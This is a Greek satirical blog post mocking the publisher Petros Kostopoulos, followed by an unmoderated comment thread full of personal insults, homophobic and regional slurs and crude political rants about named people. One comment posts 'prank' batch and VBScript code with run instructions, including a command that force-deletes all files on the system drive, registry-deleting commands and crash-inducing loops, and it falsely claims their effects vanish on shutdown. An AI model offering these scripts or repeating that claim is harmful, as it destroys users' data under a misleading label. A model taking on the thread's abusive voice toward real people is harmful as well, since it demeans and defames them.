Και ολοκληρώνουμε την περιήγησή μας στον κόσμο βαψομαλλιάδων, εμφυτευματάκηδων και περουκοφόρων (αν και αυτή η περιπέτεια δεν τελειώνει ποτέ) με ένα περιποιημένο αφιέρωμα στον Πέτρο Κωστόπουλο (Ολοκληρώνουμε, γιατί δεχτήκαμε μια τιμητική επαγγελματική πρόταση. Αντί να γράφουμε, σαν μαλάκες, τζάμπα, ο εκλεκτός δημοσιογράφος Νίκος Χατζηνικολάου είχε την καλοσύνη και μας πρότεινε να κάνουμε editing στα κείμενά του στη Real News, τα οποία, κατά κοινή ομολογία, δεν διαβάζονται. Από την επόμενη εβδομάδα, λοιπόν, θα επιχειρήσουμε να δώσουμε μεγαλύτερη ζωντάνια στα πληκτικά άρθρα του Νίκου. Τώρα που το σκέφτομαι, Νίκο, επειδή το να κάνει κανείς editing σε τόσο κακογραμμένα και ανιαρά κείμενα είναι κομματάκι δύσκολο και εκνευριστικό, σκέφτομαι μήπως αντί για editor αναλάβω ghostwriter. Όχι Νίκο· αυτό δεν έχει σχέση με τίποτε συγγραφείς που γίνονται φαντάσματα κλπ. Σημαίνει κάτι άλλο. Ρώτα, καλύτερα, τη Μαριάννα Πυργιώτη να σου εξηγήσει το ακριβές περιεχόμενο του όρου…).
Ο μικρός Πέτρος ήταν ένα τυπικό παιδί της ελληνικής επαρχίας. Γεννημένος σε μια ταπεινή οικογένεια του μόχθου στην περιοχή του Βόλου, η οποία δύσκολα τα έφερνε βόλτα. Ο πατέρας επαγγελματίας του βολάν (σε γκρι χρώμα τότε), η μητέρα κατά βάσιν οικιακά. Δύσκολα έβγαινε το μεροκάματο και αυτό στοίχιζε στον μικρό Πέτρο, του οποίου η ψυχή εφλέγετο για τα μεγάλα, τα πολυτελή και τα υψηλά… Η λαϊκή του καταγωγή τον στοίχειωνε. «Εγώ είμαι για μεγάλα πράγματα» έλεγε και ξανάλεγε από μέσα του ο ακαλαίσθητος και χονδροειδής στους τρόπους έφηβος, επιχειρώντας να γίνει δεκτός στον «καλό κόσμο» της θεσσαλικής πόλεως για αρχή – και μετά βλέπουμε… Εντελώς άξεστος και ακαλλιέργητος, τριγύριζε με μακριά μαλλιά (είχε τότε τρίχα μπόλικη και θυσανωτή) στενό τζιν και μαύρο σκαρπίνι με λευκή αθλητική κάλτσα δώθε–κείθε, βαρώντας μυίγες της θεσσαλικής πόλεως.
Ασχολήθηκε και με το γουότερ πόλο (για να το γράψουμε στην ελληνοαγγλική / ελληνοχωριάτικη version που καταλαβαίνει καλύτερα ο Πέτρος…) με στόχο τη σχετική φιγούρα στα κορίτσια. Ο αγροίκος χαρακτήρας του ταίριαζε με τη βαθύτερη σκληρότητα (κάτω από το νερό) του συγκεκριμένου αθλήματος. Η εφηβεία του συνέπεσε με τη δημιουργία και γιγάντωση του κύματος της «Αλλαγής» και ο Πέτρος βρήκε επιτέλους αυτό που εξέφραζε τις μύχιες επιθυμίες του, την πραγματική του ιδιοσυστασία, αλλά και το όχημα για να του προσδώσει μια κάποια οντότητα, αφού βίωνε την επαρχιώτικη καταγωγή του ως άχθος και επιθυμούσε να ξεχωρίσει. Το ΠΑΣΟΚ των καταφρονεμένων που γυάλιζε, όμως, το μάτι τους για εξουσία ταίριαζε γάντι στους πόθους του φιλόδοξου και συμπλεγματικού Πέτρου...
Ξεκωλώθηκε, λοιπόν, στην αφισοκόλληση εκεί, στους κακοτράχαλους δρόμους και δρομίσκους του Βόλου, αντιμετωπίζοντας τον «Μεγάλο» σαν Θεό. «Έτσι θέλω να γίνω κι εγώ, σαν τον Ανδρέα» έλεγε και ξανάλεγε, φαντασιωνόμενος μεγαλεία, παράτες και λιλιά. Παρακολουθούσε τις μεγάλες συγκεντρώσεις της εποχής στην ασπρόμαυρη τηλεόραση Telefunken της οικογένειας και φαντασιωνόταν τον εαυτό του στη θέση του ομιλητή να τον επευφημούν οι μάζες...
Επίσης, πίεζε φορτικά τη μητέρα του να «αποκαθηλώσει» τον πίνακα του «γέρου με το τσιμπούκι» από το σαλονάκι και να τον αντικαταστήσει με κορνιζαρισμένη αφίσα του Ανδρέα με το τσιμπούκι…
Έντονος ο πόθος της αναγνώρισης για τον νεαρό Πέτρο, έντονο βέβαια και το σύμπλεγμα κατωτερότητας που τον κατέτρυχε. Το ατόφιο λαϊκό ρεύμα που έφερε το ΠΑΣΟΚ στην εξουσία μίλαγε στην καρδιά του Πέτρου. Ήταν η εκδίκηση των μαζών που ήταν στην απέξω και τώρα θα έπαιρναν την εκδίκησή τους. Πήξαμε στα λαχανί και παρδαλά ιδρωμένα πουκάμισα, τα γένια και τα μουστάκια. Άρχισε η μεγάλη εποχή της ελληνικής ακμής, όπου μπορούσες να βρεις να στρογγυλοκάθονται στις υπουργικές καρέκλες έναν Τζουμάκα, έναν Βερυβάκη, έναν Βασίλη Κεδίκογλου, έναν Βαγγέλη Γιαννόπουλο...
Η σπουδαιότερη χώρα του κόσμου, η χώρα του ούζου, το ελαιολάδου και του μουσακά, έμπαινε σε ένα τούνελ ακμής και υψηλού γούστου, από το οποίο δεν θα έβγαινε ποτέ…
Τα ένσημα που κόλλησε ο Πετράκης στις αφισοκολλήσεις τον έφεραν στις Βρυξέλες, έχοντας περάσει, εν τω μεταξύ, από το Παρίσι, όπου είχε πάει να κάνει μεγάλη ζωή, να δει εκ του σύνεγγυς τη λάμψη που έβλεπε στις τηλεοράσεις και τα περιοδικά της εποχής (και, επί τη ευκαιρία, να πάρει και κανένα πτυχίο στην πολιτική οικονομία). Διέπρεψε ως παχυλόμισθος της ευρωπαϊκής γραφειοκρατίας, όπου ο πασοκικός μηχανισμός τον είχε τοποθετήσει για να καθοδηγήσει και αυτός το ευρωπαϊκό όραμα... Μια τυχαία συνάντησή του με τον sui generis εκδότη ΆρηΤερζόπουλο και ένα μεταξύ τους στοίχημα τον έφερε στην Αθήνα να εκδίδει το περιοδικό ΚΛΙΚ. Αρχικά ενδιαφέρον ως πείραμα, σε μια χώρα που είχε περιοδικά όπως το Φαντάζιο και το Ρομάντζο… Η υπόθεση ξεκίνησε καλά, αλλά με τον ακαλλιέργητο Πέτρο στο τιμόνι η κατάληξη ήταν προδιαγεγραμμένη. Το κλίμα έγινε γρήγορα βαρύ εντός του περιοδικού (και του μετέπειτα δημιουργηθέντος ομοτίτλου ραδιοφωνικού σταθμού), αφού δύσκολα σοβαρός και με σπονδυλική στήλη άνθρωπος μπορούσε να ανεχθεί για πολύ τις κόνξες και τις ναπολεόντειες συμπεριφορές του εραστή-εκδότη της συμφοράς. Εξ ου τα νεύρα και οι ουκ ολίγες αποχωρήσεις… Από το new journalism και τον Μax Headroom, γρήγορα το περιοδικό έγινε ο καθρέφτης των βαθύτερων χαρακτηριστικών του διευθυντού του, αλλά και αντανάκλαση μιας κοινωνίας σε κρίση, με τον εγωτισμό, τον παχυδερμισμό και τη λιγουρίαση σε πρώτο πλάνο...
Πιπεράτα σεξουαλικά θέματα, ΙΝ και OUT, χυδαιολογίες, εξυπνακισμοί – το παιδί από τον Βόλο βάλθηκε να δείξει στον κόσμο της Αθήνας (τον οποίον κατά βάση φθονούσε) τρόπο ζωής. Έτσι, σταδιακά, το περιοδικό αυτό απετέλεσε το όχημα του μεγαλύτερου εκχυδαϊσμού που γνώρισε η χώρα τις τελευταίες δεκαετίες. Εξέφρασε όλη την γλυκιά αποχαύνωση και οπισθοδρόμηση των κοινωνικών ομάδων που έφεραν το ΠΑΣΟΚ στην εξουσία (και το αντίστροφο).
Μπουζούκια, γαρύφαλλα, λεκτικός τραμπουκισμός, καθώς πρέπει σκυλούδες, γυμνάστριες, ποδόσφαιρο, φιγουρατζίδικα αυτοκίνητα, κώλοι και βυζιά. Από τα «ψαγμένα»θέματα και την αισθητική αναζήτηση κατέληξε στο worship του κώλου της Γωγούς Μαστροκώστα και των βυζιών της Βάνας Μπάρμπα…
Το περιοδικό, βέβαια, στάθηκε και έγινε σημείο αναφοράς, χάρη στη στήριξη του εκδότη του, Άρη Τερζόπουλου (τη σύζυγο του οποίου Λάουρα πολύ «εθαύμαζε» ο νεόκοπος «λαϊφσταϊλίστας» απ’ τον Βόλο…). Τα μυαλά, όμως, του Πετράκη πήραν αέρα μπόλικο και θέλησε να γίνει ο ίδιος εκδότης. Διέλυσε, λοιπόν, ουσιαστικά το παλιό μαγαζί για να ανοίξει δικό του. Στα εκδοτικά, ο ποιοτικός κατήφορος δεν άργησε να έρθει με τα Down Town και τα Nitro, αντανακλώντας, βέβαια, και τα βαθύτερα και αληθινά χαρακτηριστικά της ψυχοδομής και του γούστου του ακόρεστου για απολαύσεις και μεγαλεία Πέτρου...
Στα αμιγώς επιχειρηματικά δεν θα μπούμε. Είναι ανιαρά και δεν ενδιαφέρουν το κοινό. Εκείνο που μετρά είναι ότι, δελεάζοντας, με την «κωλάδικη» λάμψη των Μέσων της πλάκας που κατέχει, κάποιους οικονομικά ισχυρούς, κατάφερε ένα μέρος της επιχειρηματικής ελίτ της χώρας (και αυτό λέει πολλά τόσο για τη χώρα όσο και για τις «ελίτ» της) να του εξασφαλίσει κεφάλαια και χρηματοδοτήσεις για να περνάει ο ίδιος ζωή και κότα... Ο βαθύτερος στόχος είχε επιτευχθεί. Το βλαχαδερό από το Βόλο, με τον λόγο που μοιάζει με λόξιγκα και με τη βαριά, εκνευριστική θεσσαλική προφορά (που τα «ο» τα μετατρέπει σε «ου» τρώγοντας ταυτοχρόνως τα φωνήεντα και την οποία, χρόνια τώρα, δεν κατόρθωσε να αποβάλει - μια προφορά που μόνο γραφικότητα και θυμηδία αποπνέει), πέτυχε. Τα είχε καταφέρει (α λα ελληνικά…). Από τις άσπρες συνθετικές κάλτσες με τα φτηνά σκαρπίνια πέρασε στα Rossetti, από τα μηχανόβια Perfecto στα Cavalli, από τα "μάλμπουρο" που τα στερέωνε στο διπλωμένο μανίκι του (φτηνού) μακό, στα πούρα, από τα clubs στα μπουζουξίδικα… Οι εκδρομές πια δεν αφορούσαν τα γραφικά χωριά του Πηλίου, αλλά τα Aspen στα Colorado (και, φυσικά, την αναπόφευκτη Μύκονο...).
Και οι Τάκηδες και Λάκηδες από το Βόλο, αντικαταστάθηκαν με Γιάννες και (όπως τους λέει και ο Πρόεδρος Λεβέντης) Κοκκαλαίους (τη σύζυγο του οποίου, Ελένη, o Πέτρος επίσης πολύ «εθαύμαζε»). Μαζί με τον βασιλικό ποτίστηκε και η γλάστρα – κι ο Πέτρος ήταν γλάστρα ογκώδης, χοντροκομμένη, αλλά και ανθεκτική... Αφού «φτιάχτηκε» κάπως οικονομικά και κοινωνικά, αποφάσισε και να νοικοκυρευτεί, σε μια επίδειξη αφόρητου κομφορμισμού, αναντίστοιχου, βέβαια, με τα όσα τάιζε του αφελείς αναγνώστες του, που αντιμετώπιζαν αυτόν σαν τοτέμ και τις απόψεις του σαν ευαγγέλιο. Η σύζυγός του δεν θα μπορούσε να προέλθει παρά από τον χώρο των μοντέλων. Η Τζένη Μπαλατσινού, ένα καλό και ήσυχο ξανθό κορίτσι, μοντέλο τότε, επρόκειτο να είναι ο άνθρωπος που θα ανεχόταν στωικά, εφεξής, τον εκρηκτικό χαρακτήρα του, τις εξάρσεις και τα νεύρα του...
Ο άριστος σε όλα (όπως του αρέσει να αυτολανσάρεται) δημοσιογράφος-εκδότης απ’ τον Βόλο, δοκίμασε την τύχη του και στην TV, την οποίαν, κατά τα άλλα, σνόμπαρε. Μετά από ένα σύντομο πέρασμα από το STAR, όπου παρίστανε τον David Letterman, δοκίμασε την τύχη του στον Alpha. Πόσο γέλωτα μέχρι δακρύων δεν ρίξαμε βλέποντας τον εκδότη του… κώλου (κυριολεκτικά και μεταφορικά), σαν άλλον Donald Tramp, να παρουσιάζει την ελληνική version του Apprentice, παίρνοντας τον εαυτό του πολύ στα σοβαρά και μετατρέποντας σε κωμικό τον - υποτίθεται - σοβαρό ρόλο του... Ένας νεόπλουτος βλαχάκος με pinstripe ήταν, οπωσδήποτε, θέαμα ξεκαρδιστικό… Η ελληνική version του Apprentice απέτυχε, όμως, παταγωδώς και κατέβασε ρολά στο τάκα-τάκα, πλήττοντας τον εγωισμό του Βολιώτη παρουσιαστή με το πούρο και την βαριά προφορά…
Την είδε, βέβαια, και gourmet ο Πέτρος, ενώ όλο το αθηναϊκό άστυ γελά με τις δήθεν πρωτοποριακές συνταγές ενός κατά φαντασίαν σεφ, αλλά στην πραγματικότητα απλού, ερασιτέχνη μάγειρου. Αυτός ο άντρας με τα όλα του, το «απόλυτο αρσενικό», ο ανταγωνιστής του Στέφανου Ορφανίδη με την ανάγκη της αυτοδιαφημιστικής επιβεβαίωσης, είχε πάντα ένα πρόβλημα – ένα πρόβλημα που του χαράκωνε την ευαίσθητη και φιλόδοξη ψυχή του: τα μαλλιά του... Πολλοί τον θυμούνται να θρηνεί για τα τρίχες που χάνονταν, για να προστεθεί, λίγα τέρμινα αργότερα, και το απεχθές γκριζάρισμα. Ο Πέτρος, όμως, δεν ήταν άνδρας για ημίμετρα. Με μια αποφασιστική κίνηση, σαν ένας μικρός βολιώτης σίφουνας Άζαξ, επέλεξε λύση δραστική: εμφύτευση καραμπινάτη και μπογιάτισμα σε κομοδινί απόχρωση...
Τώρα πια όλα ήταν εντάξει. Ζήτησε και έλαβε από την επιστήμη πίστωση χρόνου. Το γήρας, η φθορά, μπορούσαν να περιμένουν λιγάκι, προτού ξανα-εμφανίσουν ευκρινώς τα σημάδια τους. Το ταπεινής καταγωγής αλλά φιλόδοξο και ακόρεστο παιδί από τη θεσσαλική γη είχε κάνει και πάλι το θαύμα του… Αυτό ήταν το πορτρέτο του Πέτρου Κωστόπουλου – του γκουρού της αισθητικής της πασοκικής νεοελλάδας… Και κλείνουμε την περιήγησή μας στον θαυμαστό κόσμο των βαμμένων μαλλιών με το συγκεκριμένο πορτρέτο, γιατί, μιλώντας για τον Πέτρο, μιλάμε, στην πραγματικότητα, για όλους εμάς – δηλαδή για τη συλλογική μας κατάντια… à bientôt!
2,732 comments:
«Oldest ‹Older 1001 – 1200 of 2732 Newer› Newest»May 16, 2009 10:55 AM
Ωπα ρε πρωτευουσιάνε, αργόσχολο κομπλεξικό αρχιδάκι. Τουλάχιστον ο ξυνόγαλος την μάνα του την ξέρει. Πουστράκο.
Προσωπικά τους κάθε λογής Ξυνόγαλους τους βλέπω με συμπάθεια. Δεν μπορούν να καταλάβουν ότι ο τόπος καταγωγής δεν παίζει κανέναν ρόλο εάν ο άνθρωπος έχει καταφέρει, ανεξάρτητα από τον τόπο καταγωγής, να είναι ένας πολιτισμένος άνθρωπος. Όσοι θίγονται με τα αστεία περί επαρχιώτικης καταγωγής δεν καταλαβαίνουν ότι οι ίδιοι με τη συμπεριφορά τους δείχνουν τα συμπλέγματά τους. Ο Βαψομαλλιάς πιστεύω ότι το έχει καταλάβει αυτό και αυτός είναι και ο λόγος που κάνει πλάκα με την καταγωγή, αλλιώς πρέπει να είναι κανείς πολύ ανόητος για να κρίνει τους ανθρώπους με βάση τον τόπο προέλευσής τους. Και από τα γραπτά του δεν βρίσκω τον Βαψομαλλιά καθόλου ανόητο. Παιδιά καταλάβετε ότι με την επιθετικότητά σας και τις ύβρεις δείχνετε το μεγάλο πρόβλημά σας!
Y.Γ. Βαψομαλλιά προσπάθησε να συνεχίσεις το blogging έστω και πιο αραιά αν δεν έχεις χρόνο. Ήσουν όαση μέσα σε όλη αυτή την ανοησία και πολύ απολαυστικός. Σου έχω γράψει και email σε σχέση με ένα θέμα και αν θέλεις μου απαντάς.
Ευχαριστώ
ΑΝΝΑ Τ
βρές κορίτσι μου κανένα αντρα η έστω μια γυναίκα γιτί για λεσβία σε κόβω και προσπάθησε να ισορροπήσεις άνοιξη είναι και χρειάζεται και το σεξ.........
Άλλος ένας ανώνυμος χυδαιολόγος (και πολύ σκληρός άντρας, επαρχιώτικου τύπου).
Ανώνυμε 3:57 ευχαριστώ πολύ. Είσαι πολύ ευγενής.
Ο συλλογισμός της Αννας Ταύ είναι σωστός στον πυρήνα του - το ζητούμενο εδώ είναι ο πολιτισμός και ουχί η ονομασία προέλευσης. Αυτό όμως που αμελεί (και αποδεικνύεται περίτρανα από τις χυδαίες και κακοήθεις επιδείξεις hard core λεβεντομαλακείας από τους ξυνόγαλους κ σια) είναι ότι το να εισέλθει ο πάσα ένας βλάχος (και πάτος που λέει και ο μέγας Ζωρζ Πιλαλί) στην σφαίρα του πολιτισμού συνιστά υπερβατική πράξη μεγάλου μεγέθους, ευθέως ανάλογου με αυτού της χωριάτικης χοντροκεφάλας του...
Συμφωνώ με τον αντιβλάχο και εν μέρει με την Άννα Τ (και τον Βαψομαλλιά πιο παλιά που είχε αναλύσει με σχόλια το συγκεκριμένο θέμα). Ο τόπος προέλευσης παίζει ρόλο όχι μεταφυσικά αλλά ρεαλιστικά. Οι μικροί τόποι (οι επαρχίες) είναι τόποι κατά κανόνα κλειστοί και έτσι ενισχύουν την μυωπική οπτική και την στενοκεφαλιά-χοντροκεφαλιά.
Ασφαλώς το πείσμα και το πάθος των διαφόρων Ξυνόγαλων που παίρνουν το πράγμα επί προσωπικού, δείχνει και του λόγου το αληθές. Άννα Τ έχεις δίκιο. Οι διαμαρτυρόμενοι δεν είναι σε θέση να καταλάβουν ότι οι ίδιοι δείχνουν προς τα έξω με τις αντιδράσεις τους τον βαθύτερο επαρχιωτισμό τους πέφτοντας στην παγίδα του Vapsomallia που είμαι βέβαιος ότι όλα αυτά τα έγραφε κάνονοντας την πλάκα του και για να εκνευρίζει διάφορους τέτοιους χωριαταραίους (χωριαταραίους όχι αναγκαστικά με βάση τον τόπο καταγωγής).
PS.Και εγώ Vapsomallia θα σου ζητούσα να γράψεις ξανά, έστω αραιά και που. Από το ολότελα...
Ego den thelo na xanagrapsei o vapsomallias.. Thelo na grafei mono o xinogalos
Αλήθεια είναι ότι ο Ξυνόγαλος είναι ένας απολαυστικά γραφικός άνθρωπος. Όσο και να προσπαθεί για το αντίθετο είναι εντελώς αδύνατον να τον αντιπαθήσεις. Έχει αυτή τη χωριάτικη γραφικότητα που όταν πας να νευριάσεις αντί για νεύρα έρχονται τα γέλια. Και εγώ θέλω τον Ξυνόγαλο να εκφράζεται και μάλιστα θα του πρότεινα, με όλο το θάρρος, να δημιουργήσει ένα δικό του blog στο οποίο να γράφει τις απόψεις του.Είμαι σίγουρη ότι πολλές και πολλοί θα τον ακολουθήσουν και θα του δώσουν τη σημασία που χρειάζεται. Προσοχή και συμπάθεια έχει ανάγκη ο Ξυνόγαλος. Μπορεί να είναι τελείως άξεστος και αγενής, αλλά είναι και συμπαθητικά γραφικός και αυτό τον σώζει.Το συτλ του πάντως δεν αρέσει στις γυναίκες. Ούτε στις Αθηναίες ούτε στις οποιεσδήποτε άλλες.
Symfono. Ki ego thelo o xynogalos na ftiaksei diko tou blog. To perimeno pos kai pos.
Na ftiaksei ena blog, poy tha bainei o vapsomallias kai tha ton vrizei synexeia. Kai sto blog toy xinogalou na grafoun oloi kefalaia, ektos apo ton vapsomallia pou tha ton vrizei kai tha grafei me peza. Kai oloi oi sxoliastes na grafoun me pseudonima Pantazis, Vaios, Magdalo klp kai na ymnoun thn ellhnikh eparxia kai ton tropo zois ths. Ta kafeneia, to tavli, thn ouzoposia, thn kthnotrofia klp. Kai o xinogalos na eironevetai thn elit tou xoriou, dhladh ton papa, to daskalo, ton astinomo klp
Auto tha einai oraio blog.
Φτωχό το ευρωψηφοδέλτιο της ΝΔ. Φτωχό, γελοίο και χωριάτικο. Και με έναν Ζαγορίτη να το ανακοινώνει, ο οποίος δεν μπορεί ούτε καν να διαβάσει σωστά αυτά που του έχουν γράψει. Τι κατάντημα είναι αυτό. Απερίγραπτη εικόνα.
malaka karamanli bravo.diorises tin vroma gianakou,tin trofimo tis amerikanikis presvias kai ton ipiresion,sto evraiopsifodeltio.gia na tin timisis gia ta megala kala pou ekane sto topo.
pio poli bravo omos se sena malaka ellina psifofore gia olous aytous pou nomimopiis gia na se pidane .kai sintoma me tin fora pou piran tha se afanisoune apo to xarti ton kraton.
eisai aksios tis moiras sou.aytoi sou aksizoun.gianakou tsipres giorgakides psomiadides kolozof kai adonides.
eyxomai na se gamisoun patokorfa oi tourkoi.giati kathimerina me tis epiloges sou dixnis poso to aksizeis.
"Είχα έναν φίλο πρεζονόμο που μου μαγείρευε τα πιό όμορφα διαστημικά μπισκότα - space cookies γαρνιρισμένα με δραμαμίνη για τα ταξίδια μου, κάθε κατεβασιά, κι ένα μικρό ονειρεμένο Challenger.
Μπούκωνα με δαύτα τα καριολίκια και πιτσικάρανε τα σαγόνια μου.
Φλασάρω και μπήγω τις φωνές: "Τυριά ξυπνήστε! Θα σας φαν' οι βλάχοι!"
Ζωρζ Πιλαλί
Επιτρέψτε μου να διαφωνήσω ότι ο τόπος καταγωγής δεν παίζει ρόλο στην ποιότητα του ανθρώπου. >Μπορεί αυτό να μην ισχύει γενικά, αλλά ισχύει σε πολύ μεγάλο βαθμό. Ο τόπος πάντοτε επηρεάζει και εδώ δεν λέμε καμία σοφία. Είναι κάτι αποδεδειγμένο επιστημονικά, αφού συμβάλλει καθοριστικά στη διαμόρφωση της προσωπικότητας του ατόμου. Το περιβάλλον είναι πιο ισχυρό από το άτομο και γι αυτό το άτομο δύσκολα και μόνο σε ένα βαθμό μπορεί να διαφοροποιηθεί από την επίδραση του κοινωνικού περιβάλλοντος. Κάποιος λοιπόν που μεγάλώνει σε κλειστά επαρχιώτικα περιβάλλοντα (βλ. Ξυνόγαλος) κουβαλάει μαζί του όλα τα χαρακτηριστικά του κλειστού επαρχιώτικου τόπου (στενοκεφαλιά, μικρόνοια, εγωισμό, ανασφάλεια, ανεπάρκεια μόρφωσης αλλά υπερμέγεθες Εγώ, αμυντική διάθεση, υστερία κλπ.). Με αυτή την έννοια, οι Ξυνόγαλοι αποτελούν πράγματι τη μάστιγα αυτού του τόπου (και άλλων τόπων αντιστοίχως).
Και εννοώ ο τόπος καταγωγής εφόσον μιλάμε για τόπο καταγωγής πρακτικά. Αν κάποιος έχει απλώς γεννηθεί σε ένα μέρος χωρίς να έχει ζήσει εκεί ώστε να έχει διαμορφωθεί (θετικά ή αρνητικά), εννοείται ότι ο τόπος καταγωγής δεν παίζει κανέναν ρόλο (εκτός και αν είσαι Ξυνόγαλος, οπότε θα κάνεις την καταγωγή σου - και τον κομπλεξισμό σου - σημαία).
Θλιβερό και το ευρωψηφοδέλτιο του ΠΑΣΟΚ. Κουλτουριάρηδες, θεωρητικολόγοι και Λαμπρινίδηδες θα μας εκπροσωπήσουν εις τας Ευρώπας. Και η επιλογή της Ράπτη εξαιρετική. Η γνωστή στα παλαιά στελέχη του ΠΑΣΟΚ και ως "βλαχάρα", ταιριάζει με την Ευρώπη γάντι. Και εις ανώτερα!
ΡΟΥΒΑ ΚΛΑΣΕ ΜΑΣ Τ ΑΡΧΙΔΙΑ
Είμαι περήφανος που η Ελληνική δημισιογραφία έχει το δικό της Λάρυ Κινγκ. Μπορεί και κρίνει τους πάντες, αν έχουν χιούμορ, αν έχουν αντίληψη, για την εξυπνάδα τους κ.ο.κ. Γιάννη Παπα(ρο)γιάννη, προσκυνώ το μεγαλείο σου
Mεγάλη πλάκα με τον Παπαγιάννη. Σε ανάρτηση έλεγε ότι δεν βλέπει καθόλου eurovision και ότι έχει καλύτερα πράγματα να κάνει (ίσως να πίνει καφέ με τον Λυκομήτρο και τον Μολυβά). Αμέσως μετά μας γέμισε στις αναρτήσεις με κρίσεις για τα τραγούδια της eurovision καθώς και για ορισμένες τραγουδίστριες, τις οποίες μάλιστα χαρακτήρισε με τον ευγενικό τίτλο "μ...νάρες". Αυτός είναι ο (ανακόλουθος, χοντράνθρωπος και ακαλαίσθητος) Παπαγιάννης. Αυτή, στην ουσία, είναι και η ελληνική δημοσιογραφία. Καλύτεροι είναι οι (πολλοί) άλλοι από τον Παπαγιάννη;
παντως ειναι πολυ μουναρες.εμενα οι προτιμηση ειναι του αζερμπαιτζαν.
http://www.youtube.com/watch?v=6_3_gSLjhks&feature=player_embedded
copy the codes , paste it in any notepad or text file, then save the text file with anynam.vbs , and yeah dont forget to change the format from text file to all files.
*NOTE* these codes do not stay on forever, they just stay on until the person shuts off the computer.
-The blue screen of Death
Code:-
@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00
-Stupidity Shutdown
*This pops up a funny message then will shutdown the computer*
code:-
@echo off
msg * Fatal system error due to admin stupidity!
shutdown -c “Error! You are too stupid!” -s -t 10
-Delete Key Registry Files
*This will delete key registry files, then loops a message* (recovered then)*
Code:-
@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your computer has been fcked. Have a nice day.
GOTO MESSAGE
-Endless Notepads
*This will pop up endless notepads until the computer freezes and crashes*
Code:-
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
-Crazy caps lock
*This constantly turns caps lock on and off really fast continuously*
Code:-
Set wshShell =wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop
-Endless Enter
*This constantly makes it so the enter button is being pressed continuesly*
Code:-
Set wshShell = wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
-Endless Backspace
*This makes it so the backspace key is constantly being pressed*
Code:-
MsgBox “Let’s go back a few steps”
Set wshShell =wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
-Popping CD Drives
*This will make the CD drives constantly pop out*
Code:-
Set oWMP = CreateObject(”WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop
εδω ειμαιιιιιι
bravo papajohn pou tin les stin lera tin korai.mia pasoka pou arpazei apo tin ert 5000 kai vale to mina apo tin ert.na tis xairetai i rigilis.oles oi gimnosaliages.ayti de ethnomidenistria tou kolonakiou kai ton siriza,ta arpazei apo pasok kai nd enalaks.xamaileontes!
kseftilismenoi tixodioktes,dimosiografoi tsatsoi tis klikas tis eksousias.
peran tou oti i gria ayti etsi opos exei stolistei einai ftisti mia laikantzo pou epeze to 80 se tsonta tou berto to ti sou kano mana mou!
ioanna!pes mas pia itan i pio omorfi stin eurovision.ego eimai metaksi azerbaytzan kai estonias!
Γεια σου κουκλίτσα Ιωάννα. Δεν σε βλέπουμε πια στον Καμπούρη και μας έχεις λείψει. Καμία σχέση η εκπομπή του Καμπούρη χωρίς την παρουσία σου, Ιωάννα. Εσύ έδινες άλλο τόνο. Τώρα η εκπομπή είναι λίγο νερόβραστη. Για κοίταξε μήπως μπορέσεις και επανέλθεις. Μα ανόητοι είναι; Είχαν μία Ιωάννα και την άφησαν να φύγει;
Αληθεύει ότι παραγωγή στις πορνοταινίες του μεγάλου Μπέρτο έκανε ο Γιώργος Καρατζαφέρης;
Ιωάννα πως πήγες με τις εξετάσεις σου;
GRAN SERAI ΙΩΑΝΝΙΝΩΝ ΓΙΑ ΟΣΟΥΣ ΕΧΟΥΝ ΑΔΥΝΑΜΙΑ ΣΤΑ ΛΗΓΜΕΝΑ……
Πρόστιμο συνολικού ύψους τριάντα χιλιάδων ευρώ, επέβαλε ο ΕΦΕΤ στο ξενοδοχείο Grant Serai επειδή κατά τον έλεγχο που έγινε διαπιστώθηκε ότι χρησιμοποιούσε ληγμένα τρόφιμα, επιβλαβή για την δημόσια υγεία. Τα τρόφιμα παρουσίαζαν εκτεταμένη αλλοίωση και δεν έφεραν ενδείξεις.
Ο ΕΦΕΤ επέβαλε πρόστιμα συνολικού ύψους 299.500 ευρώ σε 44 επιχειρήσεις τροφίμων, που κατείχαν νοθευμένα και ακατάλληλα για κατανάλωση τρόφιμα ή παρέβησαν τις υγειονομικές διατάξεις. Στην επίσημη ανακοίνωση και για την περίπτωση του ξενοδοχείου των Ιωαννίνων, αναφέρεται:
«Πρόστιμο 30.000 ευρώ στο ξενοδοχείο ΑΚΤΗ ΑΡΙΑΝΔΗ ΑΕΞΤΕ που βρίσκεται στα ΙΩΑΝΝΙΝΑ (ΔΩΔΩΝΗΣ 33), διότι στον έλεγχο που πραγματοποιήθηκε κατόπιν καταγγελίας διαπιστώθηκε ότι δεν διέθετε άδεια λειτουργίας των καταστημάτων εστιάσεως του ξενοδοχείου, παρουσίαζε ανεπαρκές επίπεδο υγιεινής στο χώρο αποθήκευσης και ανεπαρκές επίπεδο υγιεινής χώρων και εξοπλισμού, δεν εφάρμοζε κάποιο σύστημα αυτοελέγχου, διέθετε μη ασφαλή - ακατάλληλα για κατανάλωση τρόφιμα περασμένης διατηρησιμότητας καθώς και τρόφιμα μη ασφαλή - επιβλαβή για τη δημόσια υγεία με εκτεταμένη αλλοίωση και άνευ ενδείξεων, κατά την πρώτη επιθεώρηση δεν επέτρεψε στους ελεγκτές την είσοδο στους χώρους αποθήκευσης και τέλος δεν μερίμνησε ως όφειλε για τη φύλαξη όλων των κατασχεθέντων τροφίμων».
Ώστε γίνονται και τέτοιες απατεωνίες εκεί πάνω στα Γιάννενα;
Ήθελα (μια που το έφερε η κουβέντα) να ρωτήσω γιατί χρησιμοποιούμε τη φράση "φοράει όλη την Άρτα και τα Γιάννενα". Διακρίνω κάτι το υποτιμητικό στη φράση αυτή ή είναι η ιδέα μου Ξυνόγαλε;
Φιλε απο πάνω αυτη την ...φράση οι Πόντιοι την χρησιμοποιούν;;;;;
πρώτη φορά την ακούω.
